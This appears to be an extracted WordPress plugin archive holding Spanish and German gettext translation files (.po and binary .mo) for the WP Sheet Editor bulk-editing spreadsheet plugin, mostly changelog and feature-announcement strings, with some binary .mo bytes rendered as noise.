New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-de_DE.mo000064400000026464147600365160013406 0ustar00-=GK)uV;fDjKR]9w6VY^_TP d N wF Wg g W'  U ginP@BU*s@ua>]P OsZY8T_7m@POg:Zm4c)hZQc{ f ~1!l!"##$2%%_&P'_W'+'(H|))uX*n*s=+ ++B,YR,,' " &*%(+! -  #)$ ,

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.21.2.3 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet Language-Team: Hanno Bolte IT Consulting MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PO-Revision-Date: 2020-11-17 15:25+0100 X-Generator: Poedit 2.4.2 Last-Translator: Hanno Bolte Plural-Forms: nplurals=2; plural=(n != 1); Language: de_DE

FIX - SICHTBARKEIT VON SPALTEN - Drag & Drop funktioniert nicht bei Popup

FIX - BENUTZERDEFINIERTE SPALTEN - Es ist nicht möglich, die erste Spalte zu entfernen.

FIX - BENUTZERDEFINIERTE BEITRAGSTYPEN - Beitragstypen, die nach der Registrierung der Einstellungsseite erstellt wurden, sind nicht erlaubt, Beitragstypen, die durch das "types"-Plugin hinzugefügt wurden, werden ignoriert.

FIX - FORMELN - Datei-Spalten speichern keine Dateien, wenn die URL mit Abfrage-Strings verwendet wird

FIX - FORMELN - Es werden keine Dezimalzahlen akzeptiert.

FIX - FORMELN - Manchmal werden die letzten Beiträge nicht aktualisiert.

FIX - FORMELN - Manchmal werden bei der Suche nach Beitrags-Begriffen während der Vorbereitung von Formeln keine gefunden.

FIX - FORMELN - Falsche Formel für die Option "Abnahme um %" generiert.

FIX - FORMELN - Es ist nicht möglich, etwas durch nichts zu ersetzen (einen Wert zu entfernen).

FIX - WooCommerce - Variantentitel erscheinen leer.

FIX - WooCommerce - Bei der Bearbeitung von Attributen werden "sichtbar" und "ist Taxonomie" als wahr gekennzeichnet und der definierte Wert ignoriert.

FIX - WooCommerce - Popup-Fenster zum Herunterladen von Dateien zeigt zuvor bearbeitete Werte nicht an

NEU - BENUTZERDEFINIERTE SPALTEN - Schaltfläche zur Einstellungsseite in der Symbolleiste für schnellen Zugriff hinzugefügt.

NEU - FILTER - Erweiterte Metafilter mit Operatoren wie =, !=, <, >, LIKE, usw. hinzugefügt

NEU - FORMELN - Option zum Ausführen benutzerdefinierter Formeln bei jedem Feldtyp hinzugefügt.

NEU - FORMELN - Ausführung von Formeln nur bei WooCommerce-Varianten ermöglichen.

NEU - FORMELN - Die Geschwindigkeit einfacher Formeln wurde verbessert, die es ermöglicht, Tausende von Beiträgen in wenigen Sekunden zu aktualisieren. Enorme Geschwindigkeitsverbesserung.

NEU - PRO - Option zum Erstellen neuer Arbeitsblätter für neue Beitragsarten hinzugefügt.

NEU - PRO - Einrichtungsassistent für Beitragsarten hinzugefügt, mit dem Sie eine Beitragsart und benutzerdefinierte Spalten schnell einrichten können.

NEU - WOOCOMMERCE - Jetzt berechnen wir die Gesamtbestandseinheiten und den Gesamtbestandspreis aller Produkte im Arbeitsblatt und zeigen sie in der Statusleiste an.

NEU - WooCommerce - Das Klonen von Varianten von einem Produkt auf andere Produkte ist möglich

NEU - WooCommerce - Variante erstellen - Die gleichzeitige Erstellung von Varianten für mehrere Produkte ist möglich.

NEU - WooCommerce - Das Kopieren herunterladbarer Dateien von anderen Produkten im Popup ist möglich

Neue Funktion: Kompatibilität mit Advanced Custom Fields hinzugefügt. Jetzt kannst du im Arbeitsblatt die Felder aus Ihren benutzerdefinierten Metaboxen bearbeiten. Im Moment ist dies möglich mit den Feldarten: Text, Textarea, Tinymce, Bild

Neue Funktion: Kompatibilität mit WPBakery Page Builder hinzugefügt. Jetzt kannst du den Beitragsinhalt mit dem Live-Editor, Backend-Editor oder dem normalen Editor bearbeiten.

Neue Funktion: Kompatibilität mit WordPress Multisite hinzugefügt. Jetzt fügst du die Lizenz einmal hinzu und die Lizenz funktioniert mit dem gesamten Netzwerk. Jede Site hat unterschiedliche Einstellungen

Neue Funktion: Sichtbarkeit von Spalten - Option zum Sortieren und Ausblenden von Spalten direkt im Arbeitsblatt hinzugefügt.

Neue Funktion: Sichtbarkeit der Spalten - Jetzt kannst du die Spalten auf der Einstellungsseite nach Beitragstyp sortieren.

Neue Funktion: Filter - Jetzt kannst du Beiträge suchen / anzeigen, die ein bestimmtes Schlüsselwort im Titel oder Inhalt enthalten. Zeige z.B. im Arbeitsblatt die Beiträge an, in denen das Schlüsselwort "Awesome" erwähnt wird.

Neue Funktion: Formeln - Formeleditor zur einfachen Erstellung von Formeln hinzugefügt.

Neue Funktion: Formeln - Platzhalter in der REPLACE-Formel sind möglich.

Neue Funktion: Formeln - Du kannst Bilder über URLs suchen und ersetzen oder speichern.

Neue Funktion: Jetzt kannst du dem Arbeitsblatt problemlos benutzerdefinierte Spalten hinzufügen. Auf diese Weise kannst du benutzerdefinierte oder von Plugins hinzugefügte Felder bearbeiten. Schnelles Tutorial anzeigen (2 Minuten)

Neue Funktion: WooCommerce - Spalte "Attribute bearbeiten" zum Bearbeiten/Erstellen von benutzerdefinierten und globalen Attributen hinzugefügt.

Neue Funktion: WooCommerce - Spalte "Versandklasse" hinzugefügt.

Neue Funktion: WooCommerce - Spalten hinzugefügt: "Bestellrückstände zulassen", "ist empfohlen", "Lagerbestand verwalten", "Lagermenge".

Neue Funktion: WooCommerce - Unterstützung für "herunterladbare" Produkte und alle ihre Felder hinzugefügt.

Neue Funktion: WooCommerce - Unterstützung für "variable" Produkte und alle ihre Felder hinzugefügt.

Massenweise Beiträge und Seiten mit Hilfe eines schönen Arbeitsblatts innerhalb von WordPress einfach bearbeiten.Meine LizenzBitte aktualisiere das WP Sheet Editor Plugin und alle seine Erweiterungen auf die neueste Version. Die Eigenschaften des Plugins "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-de_DE_formal.mo000064400000026525147600365160014744 0ustar00-=GK)uV;fDjKR]9w6VY^_TP d N wF Wg g W'  U ginP@BU*s@ua>]P OsZY8T_>m&@P&Og:am;c0hZXc$ f ~8!l!$""##$>%%_&P'am'/'(H))ut*n*sY+ ++c,Ys,,' " &*%(+! -  #)$ ,

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.21.2.3 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet Language-Team: Hanno Bolte IT Consulting MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PO-Revision-Date: 2020-11-17 15:21+0100 X-Generator: Poedit 2.4.2 Last-Translator: Hanno Bolte Plural-Forms: nplurals=2; plural=(n != 1); Language: de_DE@formal

FIX - SICHTBARKEIT VON SPALTEN - Drag & Drop funktioniert nicht bei Popup

FIX - BENUTZERDEFINIERTE SPALTEN - Es ist nicht möglich, die erste Spalte zu entfernen.

FIX - BENUTZERDEFINIERTE BEITRAGSTYPEN - Beitragstypen, die nach der Registrierung der Einstellungsseite erstellt wurden, sind nicht erlaubt, Beitragstypen, die durch das "types"-Plugin hinzugefügt wurden, werden ignoriert.

FIX - FORMELN - Datei-Spalten speichern keine Dateien, wenn die URL mit Abfrage-Strings verwendet wird

FIX - FORMELN - Es werden keine Dezimalzahlen akzeptiert.

FIX - FORMELN - Manchmal werden die letzten Beiträge nicht aktualisiert.

FIX - FORMELN - Manchmal werden bei der Suche nach Beitrags-Begriffen während der Vorbereitung von Formeln keine gefunden.

FIX - FORMELN - Falsche Formel für die Option "Abnahme um %" generiert.

FIX - FORMELN - Es ist nicht möglich, etwas durch nichts zu ersetzen (einen Wert zu entfernen).

FIX - WooCommerce - Variantentitel erscheinen leer.

FIX - WooCommerce - Bei der Bearbeitung von Attributen werden "sichtbar" und "ist Taxonomie" als wahr gekennzeichnet und der definierte Wert ignoriert.

FIX - WooCommerce - Popup-Fenster zum Herunterladen von Dateien zeigt zuvor bearbeitete Werte nicht an

NEU - BENUTZERDEFINIERTE SPALTEN - Schaltfläche zur Einstellungsseite in der Symbolleiste für schnellen Zugriff hinzugefügt.

NEU - FILTER - Erweiterte Metafilter mit Operatoren wie =, !=, <, >, LIKE, usw. hinzugefügt

NEU - FORMELN - Option zum Ausführen benutzerdefinierter Formeln bei jedem Feldtyp hinzugefügt.

NEU - FORMELN - Ausführung von Formeln nur bei WooCommerce-Varianten ermöglichen.

NEU - FORMELN - Die Geschwindigkeit einfacher Formeln wurde verbessert, die es ermöglicht, Tausende von Beiträgen in wenigen Sekunden zu aktualisieren. Enorme Geschwindigkeitsverbesserung.

NEU - PRO - Option zum Erstellen neuer Arbeitsblätter für neue Beitragsarten hinzugefügt.

NEU - PRO - Einrichtungsassistent für Beitragsarten hinzugefügt, mit dem Sie eine Beitragsart und benutzerdefinierte Spalten schnell einrichten können.

NEU - WOOCOMMERCE - Jetzt berechnen wir die Gesamtbestandseinheiten und den Gesamtbestandspreis aller Produkte im Arbeitsblatt und zeigen sie in der Statusleiste an.

NEU - WooCommerce - Das Klonen von Varianten von einem Produkt auf andere Produkte ist möglich

NEU - WooCommerce - Variante erstellen - Die gleichzeitige Erstellung von Varianten für mehrere Produkte ist möglich.

NEU - WooCommerce - Das Kopieren herunterladbarer Dateien von anderen Produkten im Popup ist möglich

Neue Funktion: Kompatibilität mit Advanced Custom Fields hinzugefügt. Jetzt können Sie im Arbeitsblatt die Felder aus Ihren benutzerdefinierten Metaboxen bearbeiten. Im Moment ist dies möglich mit den Feldarten: Text, Textarea, Tinymce, Bild

Neue Funktion: Kompatibilität mit WPBakery Page Builder hinzugefügt. Jetzt können Sie den Beitragsinhalt mit dem Live-Editor, Backend-Editor oder dem normalen Editor bearbeiten.

Neue Funktion: Kompatibilität mit WordPress Multisite hinzugefügt. Jetzt fügen Sie die Lizenz einmal hinzu und die Lizenz funktioniert mit dem gesamten Netzwerk. Jede Site hat unterschiedliche Einstellungen

Neue Funktion: Sichtbarkeit von Spalten - Option zum Sortieren und Ausblenden von Spalten direkt im Arbeitsblatt hinzugefügt.

Neue Funktion: Sichtbarkeit der Spalten - Jetzt können Sie die Spalten auf der Einstellungsseite nach Beitragstyp sortieren.

Neue Funktion: Filter - Jetzt können Sie Beiträge suchen / anzeigen, die ein bestimmtes Schlüsselwort im Titel oder Inhalt enthalten. Zeigen Sie z. B. im Arbeitsblatt die Beiträge an, in denen das Schlüsselwort "Awesome" erwähnt wird.

Neue Funktion: Formeln - Formeleditor zur einfachen Erstellung von Formeln hinzugefügt.

Neue Funktion: Formeln - Platzhalter in der REPLACE-Formel sind möglich.

Neue Funktion: Formeln - Sie können Bilder über URLs suchen und ersetzen oder speichern.

Neue Funktion: Jetzt können Sie dem Arbeitsblatt problemlos benutzerdefinierte Spalten hinzufügen. Auf diese Weise können Sie benutzerdefinierte oder von Plugins hinzugefügte Felder bearbeiten. Schnelles Tutorial anzeigen (2 Minuten)

Neue Funktion: WooCommerce - Spalte "Attribute bearbeiten" zum Bearbeiten/Erstellen von benutzerdefinierten und globalen Attributen hinzugefügt.

Neue Funktion: WooCommerce - Spalte "Versandklasse" hinzugefügt.

Neue Funktion: WooCommerce - Spalten hinzugefügt: "Bestellrückstände zulassen", "ist empfohlen", "Lagerbestand verwalten", "Lagermenge".

Neue Funktion: WooCommerce - Unterstützung für "herunterladbare" Produkte und alle ihre Felder hinzugefügt.

Neue Funktion: WooCommerce - Unterstützung für "variable" Produkte und alle ihre Felder hinzugefügt.

Massenweise Beiträge und Seiten mit Hilfe eines schönen Arbeitsblatts innerhalb von WordPress einfach bearbeiten.Meine LizenzBitte aktualisieren Sie das WP Sheet Editor Plugin und alle seine Erweiterungen auf die neueste Version. Die Eigenschaften des Plugins "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_MX.po000064400000032041147600365160013450 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_MX\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: 